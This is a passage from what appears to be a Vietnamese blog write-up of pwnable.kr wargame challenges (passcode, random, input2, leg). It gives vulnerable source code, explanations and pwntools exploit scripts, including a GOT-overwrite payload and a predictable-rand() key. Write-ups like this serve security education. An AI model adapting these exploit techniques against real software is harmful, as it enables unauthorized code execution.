tại trên stack khi chương tình bảo nhập tên. Thực tế thì 2 giá trị đó đều là giá trị của thanh stack cũ. </p><p>Nhập  95 kí tự vào name và kiểm tra trạng  thái stack sẽ thấy được 1 địa chỉ hợp lệ và 1 giá trị hợp lệ khi gọi hàm <code>welcome</code> và nhập tên (ảnh 1)</p><p><img src="/img/post/writeup/pwnable-kr/series-1/1.png" alt="image.png"></p><pre><code>                     Trạng thái stack của hàm welcome khi nhập 95 kí tự</code></pre><p>Khi đó debug cũng sẽ thấy các giá trị này được gọi tới như tham số thứ 2 của hàm <code>scanf</code> </p><p><img src="/img/post/writeup/pwnable-kr/series-1/2.png" alt="image.png"></p><pre><code>                    Các tham số được gọi khi gọi hàm scanf cho giá trị của passcode1</code></pre><p><img src="/img/post/writeup/pwnable-kr/series-1/3.png" alt="image.png"></p><pre><code>                    Các tham số được gọi khi gọi hàm scanf cho giá trị của passcode2</code></pre><p>Nhập tên dài hơn 4 kí tự sẽ khi đè địa chỉ đó, vậy có nghĩa là ta có thể điều khiển địa chỉ nhập vào của <code>passcode1</code>. Vì không có bảo vệ RELRO và địa chỉ PIE tĩnh nên ta sẽ tấn công địa chỉ GOT của 1 hàm nào sau đó khi nhập xong passcode1. Mình chọn hàm  <code>fflush</code> là mục tiêu vì là chọn hàm gần nhất thì giảm rủi ro chương trình bị lỗi.</p><h3 id="Solution-4"><a href="#Solution-4" class="headerlink" title="Solution"></a>Solution</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line"><span class="meta"># usage: python3 solve.py passcode</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="title function_">len</span><span class="params">(sys.argv)</span> &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=False)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="type">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">fflush_got = <span class="number">0x0804c030</span></span><br><span class="line">login_168 = <span class="number">0x0804929e</span> <span class="meta">#win</span></span><br><span class="line">name = b<span class="string">&#x27;a&#x27;</span>*<span class="number">96</span> + p32(fflush_got)</span><br><span class="line"></span><br><span class="line">p.sendline(name)</span><br><span class="line">p.sendline(str(login_168))</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>Đây là chương trình khai thác local và đã thành công. Riêng trên remote thì mình tà đạo 1 chút (vì nó lỗi hoài T~T ) </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">&#x27;import sys; sys.stdout.buffer.write(b&quot;\x41&quot;*96 + b&quot;\x14\xc0\x04\x08&quot; + b&quot;134517391&quot;)&#x27;</span> | ./passcode</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="Random"><a href="#Random" class="headerlink" title="Random"></a>Random</h1><h2 id="Description-4"><a href="#Description-4" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Daddy, teach me how to use random value in programming!</span><br><span class="line"></span><br><span class="line">ssh random@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-4"><a href="#Source-4" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> random;</span><br><span class="line">random = rand(); <span class="comment">// random value!</span></span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> key = <span class="number">0</span>;</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;key);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ((key ^ random) == <span class="number">0xcafebabe</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Good!\n&quot;</span>);</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Wrong, maybe you should try 2^32 cases.\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-5"><a href="#Solution-5" class="headerlink" title="Solution"></a>Solution</h2><p>Với <code>rand()</code> mà không có seed truyền vào thì nó không thực sự random mà mình có thể biết được đầu ra bằng cách chạy 1 đoạn code với hàm <code>rand()</code> thì sẽ thu được giá trị giống như chương trình. Vậy thì chỉ cần viết lại 1 chương trình khác in ra hàm <code>rand()</code> 1 lần và lấy giá trị đó xor với <code>0xcafebabe</code> là sẽ thu được kết quả.</p><h2 id="Payload-3"><a href="#Payload-3" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line">p = ssh(</span><br><span class="line">    user=sys.argv[<span class="number">1</span>],</span><br><span class="line">    host=<span class="string">&#x27;pwnable.kr&#x27;</span>,</span><br><span class="line">    port=<span class="number">2222</span>,</span><br><span class="line">    password=<span class="string">&#x27;guest&#x27;</span>,</span><br><span class="line">)</span><br><span class="line">sh = p.shell()</span><br><span class="line">sh.recvuntil(f<span class="string">&#x27;&#123;sys.argv[1]&#125;@ubuntu:~$&#x27;</span>)</span><br><span class="line"></span><br><span class="line">first_time = <span class="number">1804289383</span></span><br><span class="line">key = f<span class="string">&#x27;&#123;first_time^0xcafebabe&#125;&#x27;</span></span><br><span class="line"></span><br><span class="line">sh.sendline(<span class="string">&#x27;./random&#x27;</span>)</span><br><span class="line">sh.sendline(key)</span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><h1 id="Input2"><a href="#Input2" class="headerlink" title="Input2"></a>Input2</h1><h2 id="Description-5"><a href="#Description-5" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Mom? how can I pass my input to a computer program?</span><br><span class="line"></span><br><span class="line">ssh input2@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-5"><a href="#Source-5" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/socket.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;arpa/inet.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[], <span class="type">char</span>* envp[])</span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Welcome to pwnable.kr\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Let&#x27;s see if you know how to give input to program\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Just give me correct inputs then you will get the flag :)\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// argv</span></span><br><span class="line"><span class="keyword">if</span>(argc != <span class="number">100</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">strcmp</span>(argv[<span class="string">&#x27;A&#x27;</span>],<span class="string">&quot;\x00&quot;</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">strcmp</span>(argv[<span class="string">&#x27;B&#x27;</span>],<span class="string">&quot;\x20\x0a\x0d&quot;</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 1 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// stdio</span></span><br><span class="line"><span class="type">char</span> buf[<span class="number">4</span>];</span><br><span class="line">read(<span class="number">0</span>, buf, <span class="number">4</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x0a\x00\xff&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">read(<span class="number">2</span>, buf, <span class="number">4</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x0a\x02\xff&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 2 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// env</span></span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">strcmp</span>(<span class="string">&quot;\xca\xfe\xba\xbe&quot;</span>, getenv(<span class="string">&quot;\xde\xad\xbe\xef&quot;</span>))) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 3 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// file</span></span><br><span class="line">FILE* fp = fopen(<span class="string">&quot;\x0a&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(!fp) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span>( fread(buf, <span class="number">4</span>, <span class="number">1</span>, fp)!=<span class="number">1</span> ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span>( <span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x00\x00\x00&quot;</span>, <span class="number">4</span>) ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">fclose(fp);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 4 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// network</span></span><br><span class="line"><span class="type">int</span> sd, cd;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">saddr</span>, <span class="title">caddr</span>;</span></span><br><span class="line">sd = socket(AF_INET, SOCK_STREAM, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span>(sd == <span class="number">-1</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;socket error, tell admin\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">saddr.sin_family = AF_INET;</span><br><span class="line">saddr.sin_addr.s_addr = INADDR_ANY;</span><br><span class="line">saddr.sin_port = htons( atoi(argv[<span class="string">&#x27;C&#x27;</span>]) );</span><br><span class="line"><span class="keyword">if</span>(bind(sd, (<span class="keyword">struct</span> sockaddr*)&amp;saddr, <span class="keyword">sizeof</span>(saddr)) &lt; <span class="number">0</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;bind error, use another port\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">listen(sd, <span class="number">1</span>);</span><br><span class="line"><span class="type">int</span> c = <span class="keyword">sizeof</span>(<span class="keyword">struct</span> sockaddr_in);</span><br><span class="line">cd = accept(sd, (<span class="keyword">struct</span> sockaddr *)&amp;caddr, (<span class="type">socklen_t</span>*)&amp;c);</span><br><span class="line"><span class="keyword">if</span>(cd &lt; <span class="number">0</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;accept error, tell admin\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>( recv(cd, buf, <span class="number">4</span>, <span class="number">0</span>) != <span class="number">4</span> ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\xde\xad\xbe\xef&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 5 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// here&#x27;s your flag</span></span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-6"><a href="#Solution-6" class="headerlink" title="Solution"></a>Solution</h2><p>Bài này hay ở chỗ nó dạy mình biết rằng các đầu vào của một chương trình có thể lấy như từ biến môi trường, file, stdin,… Cách giải thì chỉ cần research những đầu vào tương ứng như trong source là được. Ở đây mình cần dùng script để setup các tham số, các biến, và các pipline để bypass các stage.</p><p>Stage 1 : Argc là số lượng tham số bạn truyền vào, với tham số đầu tiên luôn là tên file. Tham số <code>argv</code> với <code>argv[’A’]</code> tương đương <code>argv[65]</code>. Được truyền vào như sau : <code>./file a b c</code>  với a b c là các tham số argv.</p><p>Stage 2 : với fd&#x3D;0 sẽ là stdin và fd&#x3D;2 là stderr, ở đây ta cần dùng script để tạo 1 luồng khác, gán stderr vào luồng đó và ghi vào đó giá trị tương ứng.</p><p>Stage 3 : Setup biến môi trường.</p><p>Stage 4 : Setup file. Bạn có thể tạo và file bằng python hoặc bằng bash script. </p><p>Stage 5 : Là stage dùng socket để gửi nhận giá trị, chỉ cần dùng pwntool để mở 1 luồng remote tới chương trình là ok. </p><h2 id="Payload-4"><a href="#Payload-4" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line"></span><br><span class="line">######### STAGE <span class="number">1</span> ########<span class="meta">#</span></span><br><span class="line"><span class="meta">argv = [<span class="string">&#x27;/home/input2/input2&#x27;</span>] + [<span class="string">&#x27;a&#x27;</span>]*99</span></span><br><span class="line">argv[ord(<span class="string">&#x27;A&#x27;</span>)] = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="string">argv[ord(&#x27;</span>B<span class="string">&#x27;)] = &#x27;</span>\x20\x0a\x0d&#x27;</span><br><span class="line"></span><br><span class="line">argv[ord(<span class="string">&#x27;C&#x27;</span>)] = <span class="string">&#x27;4445&#x27;</span> <span class="meta"># for stage 5</span></span><br><span class="line"></span><br><span class="line">######### STAGE <span class="number">2</span> #########</span><br><span class="line">r1,w1 = os.pipe() <span class="meta"># tạo 1 pipe, câu lệnh trả về 2 biến read và write</span></span><br><span class="line">r2,w2 = os.pipe()</span><br><span class="line"></span><br><span class="line">os.write(w1,b<span class="string">&#x27;\x00\x0a\x00\xff&#x27;</span>)</span><br><span class="line">os.write(w2,b<span class="string">&#x27;\x00\x0a\x02\xff&#x27;</span>)</span><br><span class="line"><span class="meta"># cách 2 đó là dùng PTY</span></span><br><span class="line"></span><br><span class="line">######### STAGE <span class="number">3</span> ########<span class="meta">#</span></span><br><span class="line"><span class="meta">env = &#123;<span class="string">&#x27;\xde\xad\xbe\xef&#x27;</span>: <span class="string">&#x27;\xca\xfe\xba\xbe&#x27;</span>&#125;</span></span><br><span class="line"></span><br><span class="line">######### STAGE <span class="number">4</span> ########<span class="meta">#</span></span><br><span class="line"><span class="meta">with open(<span class="string">&#x27;\x0a&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>) as f:</span></span><br><span class="line">    # Ghi dữ liệu vào tệp</span><br><span class="line">    f.write(b<span class="string">&#x27;\x00\x00\x00\x00&#x27;</span>)</span><br><span class="line"><span class="meta"># một cách khác đó là tạo 1 file bằng bash : touch $<span class="string">&#x27;\x0a&#x27;</span> và dùng công cụ như HxD thêm 4 byte \x00 vào file là được</span></span><br><span class="line"></span><br><span class="line">p = process(argv,<span class="built_in">stdin</span>=r1,<span class="built_in">stderr</span>=r2, env=env)</span><br><span class="line"></span><br><span class="line">######### STAGE <span class="number">5</span> ########<span class="meta">#</span></span><br><span class="line"><span class="meta">conn = remote(<span class="string">&#x27;localhost&#x27;</span>,4445)</span></span><br><span class="line">conn.sendline(b<span class="string">&#x27;\xde\xad\xbe\xef&#x27;</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h1 id="Leg"><a href="#Leg" class="headerlink" title="Leg"></a>Leg</h1><h2 id="Description-6"><a href="#Description-6" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Daddy told me I should study ARM architecture.</span><br><span class="line">But I know Intel architecture and it should be similar.</span><br><span class="line">Why bother to study ARM?</span><br><span class="line"></span><br><span class="line">Download : http:<span class="comment">//pwnable.kr/bin/leg.c</span></span><br><span class="line">Download : http:<span class="comment">//pwnable.kr/bin/leg.asm</span></span><br><span class="line"></span><br><span class="line">ssh leg@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-6"><a href="#Source-6" class="headerlink" title="Source"></a>Source</h2><h3 id="leg-c"><a href="#leg-c" class="headerlink" title="leg.c"></a>leg.c</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">key1</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">asm</span>(<span class="string">&quot;mov r3, pc\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">key2</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">asm</span>(</span><br><span class="line">        <span class="string">&quot;push&#123;r6&#125;\n&quot;</span></span><br><span class="line">        <span class="string">&quot;addr6, pc, $1\n&quot;</span></span><br><span class="line">        <span class="string">&quot;bxr6\n&quot;</span></span><br><span class="line">        <span class="string">&quot;.code   16\n&quot;</span></span><br><span class="line">        <span class="string">&quot;movr3, pc\n&quot;</span></span><br><span class="line">        <span class="string">&quot;addr3, $0x4\n&quot;</span></span><br><span class="line">        <span class="string">&quot;push&#123;r3&#125;\n&quot;</span></span><br><span class="line">        <span class="string">&quot;pop&#123;pc&#125;\n&quot;</span></span><br><span class="line">        <span class="string">&quot;.code32\n&quot;</span></span><br><span class="line">        <span class="string">&quot;pop&#123;r6&#125;\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">key3</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">asm</span>(<span class="string">&quot;mov r3, lr\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> key = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Daddy has very strong arm! : &quot;</span>);</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;key);</span><br><span class="line">    <span class="keyword">if</span> ((key1() + key2() + key3()) == key)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Congratz!\n&quot;</span>);</span><br><span class="line">        <span class="type">int</span> fd = open(<span class="string">&quot;flag&quot;</span>, O_RDONLY);</span><br><span class="line">        <span class="type">char</span> buf[<span class="number">100</span>];</span><br><span class="line">        <span class="type">int</span> r = read(fd, buf, <span class="number">100</span>);</span><br><span class="line">        write(<span class="number">0</span>, buf, r);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;I have strong leg :P\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="leg-asm"><a href="#leg-asm" class="headerlink" title="leg.asm"></a>leg.asm</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line">(gdb) disass main</span><br><span class="line">Dump of assembler code <span class="keyword">for</span> function main:</span><br><span class="line">   <span class="number">0x00008d3c</span> &lt;+<span class="number">0</span>&gt;:push&#123;r4, r11, lr&#125;</span><br><span class="line">   <span class="number">0x00008d40</span> &lt;+<span class="number">4</span>&gt;:addr11, sp, #<span class="number">8</span></span><br><span class="line">   <span class="number">0x00008d44</span> &lt;+<span class="number">8</span>&gt;:subsp, sp, #<span class="number">12</span></span><br><span class="line">   <span class="number">0x00008d48</span> &lt;+<span class="number">12</span>&gt;:movr3, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008d4c</span> &lt;+<span class="number">16</span>&gt;:strr3, [r11, #<span class="number">-16</span>]</span><br><span class="line">   <span 